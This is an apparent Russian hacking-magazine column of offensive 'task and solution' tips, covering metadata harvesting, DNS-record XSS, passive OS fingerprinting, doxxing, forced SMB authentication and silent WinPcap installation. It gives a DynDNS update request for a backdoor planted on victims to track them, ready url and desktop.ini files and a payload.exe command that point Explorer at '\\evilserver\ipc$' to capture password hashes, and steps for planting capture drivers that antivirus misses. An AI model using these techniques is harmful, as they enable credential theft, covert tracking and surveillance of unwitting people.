Задача: Просмотр метаданных в офисных документах

 

Решение

Ни для кого не секрет, что документы из офиса (и не только) содержат в себе метаданные. В них присутствует разнообразная инфа, вроде даже нужная и полезная в определенных ситуациях. Но с точки зрения безопасности там может сохраниться и конфиденциальная информация. В общем-то, стоит вспомнить кучку скандалов, особенно за границей. Утечка там, утечка здесь... Все утекает куда-то. Но мы-то смотрим с другой стороны, и к нам притекает :).

Итак, примерный список, чего мы можем добыть из метаданных:

  • имя пользователя, создавшего и последнего редактировавшего файл;
  • название организации;
  • почта пользователя;
  • имя компьютера;
  • все пути хранения файлов;
  • имена принтеров в системе;
  • версия офиса и ОС;
  • комментарии, скрытый и удаленный текст;
  • и еще всякая бурда :).

О важности такой инфы даже говорить не стоит, особенно если наша цель – корпоративная сетка, и есть доступ к файл-серверу с общими доками. А бывает, что доки и в веб выкладывают. Пробежался по ним – и уже собрал пачку инфы. Главное, что все действия легальны (в смысле, мы просто смотрим файлики, ничего при этом не ломая). В России метаданными редко кто пользуется, но умный офис «самое важное» сохраняет за них. Вообще, заграничная практика – все доки выкладывать в pdf’ках, так как при конвертации удаляется большая часть метаданных. Но и с pdf’ками в том же стиле какие-то скандалы были.

Но вернемся к делу. Большую часть метаданных можно почистить/посмотреть прям в Офисе или в Винде в свойствах файла:
http://support.microsoft.com/kb/825576/ – описалово, какая инфа хранится и как ее почистить ручками. Также Майкрософт выпустила тулзы для чистки, плюс есть еще куча аналогов от сторонних разработчиков.

Просмотреть всю инфу можно ручками, формат офисовских документов доступен, да и просмотрщики есть (smartpctools.com/metadata). Интересный момент: олдскульная тулза по извлечению метаданных (tarasco.org/security/reversing_ole/index.html) умеет доставать версию ОС, на которой был создан файл. Там же есть описание, где она это берет (жаль на испанском). Другие тулзы этого не умеют, да и вообще ни у кого об этом не слова (смотри ссылку выше на сайт МС).

 

Задача: Привязать динамический IP к DNS

Решение: Иметь доступ к своему домашнему компу – это и приятно, и полезно. Вот только большинство провайдеров внешний айпишник выделяют только за денежку. Решается сия проблема, используя так называемые Dynamic DNS. Фишка таких DNS в установке маленького времени на устаревание записей - около пары-тройки минут, потому другие DNS не помещают их в свой кэш.

Я было хотел написать, как оно делается, но нашел две отличные статьи, в которых все конкретно описано. В первой – все этапы настройки с привязкой к бесплатным сервисам (типа, www.no-ip.com, freedns.afraid.org и www.dyndns.com) – habrahabr.ru/blogs/webdev/101336. Вторая о поднятии своего динамического DNS (кстати, ничего трудного) – habrahabr.ru/blogs/linux/101380.

На самом деле, есть много сфер, где требуются возможности по привязке. Например, реверсовые шеллы можно привязывать не к статическим IP, а к именам (reverse_tcp_dns, reverse_https в MSF). Или можно своих прошлых жертв с динамическими IP находить. Повесишь жертве «сервачок», который при выходе в сеть будет отправлять на бесплатный сервис HTTP-запрос вида:

GET /nic/update?hostname=имя_жертвы&myip=ее_ip HTTP/1.0
Host: dynupdate.no-ip.com
Authorization: Basic логин_и_пасс_в_base64
User-Agent: blah-blah-blah v.0.1a

И всегда можешь, не палясь, найти ее по имени – приятно :).

 

Задача: запихнуть яваскрипт в DNS-записи

 

Решение

В майском номере ][ я рассказывал про организацию туннеля через DNS-протокол (если точнее – о шеллкоде). Осуществлялось это через набор тулз – nbtool от Ron’а Bowes (skullsecurity.org/wiki/index.php/Nbtool). Не так давно он запостил безумнейшее изыскание в своем блоге (skullsecurity.org/blog/?p=433) о встраивании яваскриптов в DNS-записи и для этого написал прогу– dnsxss (входит в nbtool).

Идея в том, что, имея свой DNS, мы с помощью dnsxss можем подделывать DNS-ответы и встраивать в них яваскрипт код. Зачем оно надо? Рон привел простенький пример, реализовав XSS для нескольких публичных сервисов с DNS-lookup’ом. Проблема в том, что сервисы выводят ответы от DNS-серверов без фильтрации! То есть человек, который через браузер просмотрит инфу об имени нашего сервера, получит наш ява-скрипт. Казалось бы, ничего чрезвычайного, но! Во-первых, пример XSS – это только «наметка», так как сам подход оригинален (совмещение таких разных вещей) и жаждет дальнейших исследований, а, во-вторых, целью могут быть, например, веб-админки, в которых частенько бывают всевозможные резолверы, или логи с автоматическим резолвом имен, в которые можно подпихнуть свой код... Просторы для полета фантазии и новый вектор атаки :).

Кстати, сейчас есть одна проблема. В большинстве DNS-записей нельзя использовать пробелы, а для HTML, они, в общем, требуются. Рон, как решение, использовал символ «/» вместо них, и FF нормально воспринимал HTML, но не IE (мотаем на ус :). Так что если есть мысли – поделись с автором тулзы. К тому же, можно поучаствовать в бета-тестировании новой версии набора nbtool – 0.05.

 

Задача: Удаленно определить версию ОС по фингерпринту стека TCP/IP. Пассивный метод

Решение: Вернемся к классике. Для проведения любой более-менее осмысленной атаки нам чаще всего требуется определить ОС, под которой сидит наша жертва. Сделать это можно разными путями: и из баннеров всевозможных сервисов, и по набору открытых портов, и используя СИ :). Но есть злобный метод – на основе анализа протоколов стека TCP/IP. Протокол IP и TCP(есть методы и с ICMP, и с UDP) четко расписан в RFC: взаимодействие, заголовки, поля. Четко, то есть для нормального взаимодействия различных систем хватает, да не совсем. Есть много тонкостей в реализации – какие использовать изначальные значения для полей? Как менять их по ходу соединения? Как отвечать на нестандартные запросы? И в каждой конторе, производящей ОС, на них нашли различные ответы. Что еще лучше – разница чувствуется в поколениях ОС.

Первые крупные работы по этой теме появились еще в 1999-2000 годах (когда-то этим и мы занимались... эх, детство-детство :)), так что тема уже хорошо прожевана и много всего интересного можно быстро прогуглить (nmap.org/book/osdetect.html). Но это не отрицает ее важности и теперь.

ОС-фингерпринтинг делится, как обычно, на активный и пассивный. Пассивный занимается тем, что анализирует поля TCP/IP-протоколов начальные значения, алгоритм их изменения, в активном к этому добавляется отправка жертве всевозможных нестандартных пакетов и просмотр реакции на них. Пассивный, получается, менее точен, но зато мы не отправляем никаких данных нашей жертве, то есть нас обнаружить невозможно. Что не очень удобно – нам надо, чтобы жертва либо сама коннектилась к нам, либо как-то прослушивать ее трафик. У пассивного метода есть еще один «бонус», эффективность его с годами особо не ухудшилась – разные производители как имели свои решения всех тонкостей стека, так и имеют, что нельзя сказать об активном, ведь теперь, например, очень часто производится нормализация пакетов на файрволах.

Одним из лучших пассивных ОС-фингерпринтеров является p0f. Скачать и почитать доки о нем можно тут – lcamtuf.coredump.cx. К тому же, он входит в BackTrack 4. Версии есть под все основные ОС. Жаль, что официальная разработка остановилась в 2006 году. Но по инету еще раскидано несколько «доделок».

Прога может использовать один из четырех методов:

  • по пакетам с выставленным SYN (по умолчанию) и SYN-ACK;
  • анализ пакетов на установку соединения;
  • RST-сброс соединения (когда порт закрыт, например);
  • ACK – в передаче данных (совсем экспериментальный).

Для каждого из методов своя сигнатурная база. Кроме детекта ОС прога умеет выявлять NAT, файрволы, настройки сети.

Что еще хорошо – она умеет работать с pcap-файлами. Так что можно, наснифав у жертвы трафика, поковырять его в «домашних условиях». Вообще, обычная практика, когда p0f вешают на шлюз и таким образом получают инфу обо всей подсети. А для ускорения сбора можно добавить «активности», и, например, просканить сеть с поддельного IP’шника. Палево небольшое, если правильно все организовать.

Например, запуск p0f на прослушку интерфейса (-i) eth0 с выводом полученных сигнатур (-S) и сохранением в файл (-o):

p0f -i eth0 –S –o os.txt

Или скормим ему pcap-файл и установим детект по RST-пакетам:

p0f -R -s test_osdetect.pcap

Также можно выставлять интерфейс на прослушку (promiscuous mode) параметром «-p» и устанавливать фильтр на пакеты, используя регулярные выражения tcpdump’а, а остальные опции смотри в хелпе.

Как уже говорилось ранее, p0f уже официально не развивается, и, что хуже, не обновляются базы сигнатур. Можно, конечно, заморочится и сделать свою, либо порыскать в Сети – там есть. Но есть еще одно решение. Возможности p0f’а встроены в Ettercap (ettercap.sourceforge.net). А последний, как известно, живет и развивается. Вот и базы его имеют около 1200 сигнатур, по сравнению с 200 у p0f.

Запустить ОС детект в Ettercap можно так (в GTK, curses-интерфейсе):

  1. Sniff – Unified sniffing
  2. Start – Start sniffing
  3. View - Profiles

Кстати, исследования ОС детекта не остановились, и появляется что-то новое. Например,
dca.ufrn.br/~joaomedeiros/gsoc/2009/proposal/node1.html – забавнопоказательная работа 2009 года про фингерпринт на основе анализа TCP ISN множества пакетов (развитие идеи, заложенной в p0f). Автор обещал реализовать идею в Nmap.

 

Задача: Собрать информацию о человеке

 

Решение

Ни для кого не секрет, что в интернете можно найти кучу информации о человеке/организации даже по небольшой зацепке, ведь если что-то попало в Сеть, то останется там навсегда. И это не говоря о таких вещах, как социальные сети, где мы сами публикуем свою подноготную. Существуют правила по соблюдению конфиденциальности, но и они не особо спасают.
А все, что для этого требуется – парочка поисковиков и публичные сервисы, типа whois, dns lookup и т.д.

Безумнейший пример показан в статье attackvector.org/invasion-of-privacy/. Причем на живом человеке. От IP-адреса до фото всей семьи, кредитной истории и номера страховки. И это без социальной инженерии. Офигеть :).

В нашей стране ПОКА ЧТО все не так жестко, но найти кого-либо физически – не такая уж и проблема. Себя я нашел тремя различными путями!

 

Задача: Скрытно заставить жертву подключиться к определенному хосту

 

Решение

В майском номере я писал о SMB relay-атаках. Одним из важных мест в них была необходимость в том, чтобы жертва подсоединилась к нашему зло-серверу, на котором мы уже и выполняли бы все необходимые действия с хешиками пользователей.

Кроме атак по SMB можно организовать общий «сбор информации» через тот же p0f или слежку за юзером. Заострим внимание на этом – как заставить их подключиться?
Очень удобно для таких вещей пользоваться стандартными возможностями Windows, хотя это требует доступ к общему ресурсу в сети или к компьютеру жертвы.

Говоря про «стандартные возможности», я имею в виду то, как Проводник винды обрабатывает некоторые виды файлов. К ним относятся lnk(ярлыки), url (ярлыки интернета) и desktop.ini (настройка отображения папок). В них можно указывать путь к нашему серверу. И когда пользователь будет просматривать папку с этими файлами через Проводник (TotalCommander вроде ведет себя также), то Проводник автоматически подключится к нашему серверу и попытается авторизоваться, что нам и требуется. Итак, создаем url-файл.
Пишем в текстовый файл следующее и сохраняем с расширением url:

[InternetShortcut]
URL=http://www.example.com
IconFile=\\evilserver\ipc$

Где IconFile – указатель на файл иконки, который ссылается на наш сервер; URL – куда перейдет пользователь, если запустит этот файл.

Проводник, заходя в папку с этим url-файлом, подгружает иконку с нашего сервера, пользователь же ничего плохого заметить не может – ярлык может ссылаться на что-то нужное.
С lnk точно такая же логика. В нем можно задать путь до иконки. Вот только формат ярлыка не позволит отредактировать его в текстовике. Можно стандартными средствами винды создать ярлычок и в его настройках прописать путь до иконки, а потом изменить его в HEХ-редакторе.

Далее – desktop.ini. Это файл настройки отображения системных папок. В нем можно прописать ссылки на наш сервер в разных местах, но и реакция Проводника будет разной:

  • В IconFile – читается, когда проводник входит в папку, где находится подпапка, в которой лежит наш desktop.ini;
  • LocalizedResourceName – аналогично;
  • InfoTip – когда выбирают папку с desktop.ini;
  • desktop.ini – когда Проводник входит в папку.

Пример с desktop.ini и всеми методами:

[.ShellClassInfo]
desktop.ini=@\\evilserver\ipc$,-1
InfoTip=@\\evilserver\ipc$,-1
LocalizedResourceName=@\\evilserver\ipc$,-1
IconFile=\\evilserver\ipc$

Для того, чтобы desktop.ini заработал, есть одно требование – он должен лежать в системной папке. Сделать папку системной можно командой в консоли:

attrib +s имя_папки

Зато у методов с иконками есть косяк – если ссылаться не на иконку, то пользователю будет отображаться стандартная виндовая иконка неизвестного файла, что палевно. Но это тоже можно поправить.

Как обычно, для каждой ситуации свое. Данные способы были почерпнуты с уже упомянутого сайта парочки ресерчеров. На нем же выложена тулза (tarasco.org/security/payload/index.html), которая может быстренько генерить файлы перечисленных видов, плюс классические – вставка ссылок в html и doc (ppt, xls) файлы.

Смысла большого в ней не вижу, разве что для генерации lnk-файлов:

payload.exe -t l -d \\evilserver\ipc$

Где –t l – указываем тип – lnk-файл;
-d – путь к нашему серверу.

 

Задача: Втихаря установить WinPcap

 

Решение

Большинство самых приятных хакерских штуковин, к сожалению, просто так в Винде не работают. Им, как минимум, WinPcap нужен. По идее, начиная с XP, доступ к raw-сокетам есть, но то ли он не так хорош, либо из-за удобства (совместимость с libpcap’ом) пользуются именно WinPcap. При взломах это напрягает. Вот в том же Metasploit’е есть модуль для удаленного снифинга трафика, то есть на машине жертвы, но под Win не работает (к сожалению). К тому же, в прошлом номере я писал про meterpreter через icmp-туннель, который также требовал WinPcap для своей работы. После поставленной задачи были проведены небольшие изыскания, и проблема решилась. Оказалось, что все достаточно просто, хотя различные разработчики ПО «тихий установщик» и предлагают за денежку. Требуется всего лишь скопировать файлы:

  1. "wpcap.dll" в C:\WINDOWS\system32\
  2. "Packet.dll" в C:\WINDOWS\system32\
  3. "pthreadVC.dll" в C:\WINDOWS\system32\
  4. "npf.sys" в C:\WINDOWS\system32\drivers\

Первые три можно не копировать в системную директорию, а кинуть в ту же папку, что и прогу, которой нужен WinPcap. При этом, во-первых, каждому ПО потребуются свои библиотеки, а во-вторых, нам все равно нужно копировать npf.sys в папку с дровами, то есть и права нужны соответствующие.

Что самое приятное – библиотеки WinPCap не палятся антивирусами (как бы и повода нету), потому обнаружить их достаточно трудно, и все вместе почти ничего не весят (500 Кб). При использовании библиотек также требуются админские права, но если прописать драйвер npf.sys на загрузку при старте системы, то это ограничение снимается.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии